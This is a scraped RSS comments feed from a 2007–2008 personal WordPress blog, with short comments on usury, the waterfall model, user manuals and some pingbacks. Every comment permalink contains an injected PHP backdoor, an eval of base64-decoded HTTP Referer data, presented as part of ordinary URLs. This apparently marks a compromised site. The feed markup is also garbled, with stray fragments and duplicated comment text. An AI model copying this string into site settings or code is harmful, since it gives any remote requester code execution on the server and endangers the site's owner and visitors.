http://abluz.dyndns.org Jeffrey L. Taylor's Rants on Computers, Programming, Money, and Life Thu, 06 Nov 2008 23:40:35 -0600 http://wordpress.org/?v=2.8.5 hourly 1 http://abluz.dyndns.org/2008/11/06/financial-leverage-the-basics/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-221 Jeff Thu, 06 Nov 2008 23:40:35 +0000 http://abluz.dyndns.org/?p=89#comment-221 The Bible and the Quran prohibit the lending of money at fixed interest (i.e., the old definition of usury). Some parts of the world take this seriously, see Wikipedia on <a href="http://en.wikipedia.org/wiki/Islamic_Banking" rel="nofollow">Islamic Banking</a> for a different way. The Bible and the Quran prohibit the lending of money at fixed interest (i.e., the old definition of usury). Some parts of the world take this seriously, see Wikipedia on Islamic Banking for a different way.

]]> http://abluz.dyndns.org/2008/08/13/when-optimization-is-no-longer-premature/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-219 Jeff’s Austin Blues » Blog Archive » When Getting Ready is Enough Thu, 14 Aug 2008 16:56:52 +0000 http://abluz.dyndns.org/?p=75#comment-219 [...] I noted in a previous post, my adaptive RSS reader, Amethyst, is running too slow. So in preparation of moving the CPU/time [...] [...] I noted in a previous post, my adaptive RSS reader, Amethyst, is running too slow. So in preparation of moving the CPU/time [...]

]]> http://abluz.dyndns.org/2008/06/02/programming-process-feedback/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-204 Jeff Mon, 02 Jun 2008 21:50:51 +0000 http://abluz.dyndns.org/?p=69#comment-204 I read a post somewhere that maintained that the original published description was a stalking horse, something to draw fire or constructive criticism. That the author knew it wasn't satisfactory but didn't know how to describe something better. He hoped someone would punch holes in the waterfall model and propose something better. Instead, it was elevated to received wisdom and the masses took it and ran with it because as flawed as it was, it seemed better that the chaos they were lost in. I read a post somewhere that maintained that the original published description was a stalking horse, something to draw fire or constructive criticism. That the author knew it wasn’t satisfactory but didn’t know how to describe something better. He hoped someone would punch holes in the waterfall model and propose something better. Instead, it was elevated to received wisdom and the masses took it and ran with it because as flawed as it was, it seemed better that the chaos they were lost in.

]]> http://abluz.dyndns.org/2007/03/01/succeeding-gracefully/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-170 Jeff Tue, 13 Mar 2007 23:00:33 +0000 http://abluz.dyndns.org/?p=23#comment-170 Kathy Sierra has a very nice blog entry at http://headrush.typepad.com/creating_passionate_users/2007/03/the_best_user_t.html on how manuals can scale as the user's understanding grows. Kathy Sierra has a very nice blog entry at http://headrush.typepad.com/creating_passionate_users/2007/03/the_best_user_t.html on how manuals can scale as the user’s understanding grows.

]]> http://abluz.dyndns.org/2007/01/31/gaming-on-a-laptop/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-5 laptop - uttaruk.com » Gaming on a Laptop Wed, 31 Jan 2007 18:17:27 +0000 http://abluz.dyndns.org/?p=14#comment-5 [...] Original post by Jeff’s Austin Blues and software by Elliott Back [...] [...] Original post by Jeff’s Austin Blues and software by Elliott Back [...]

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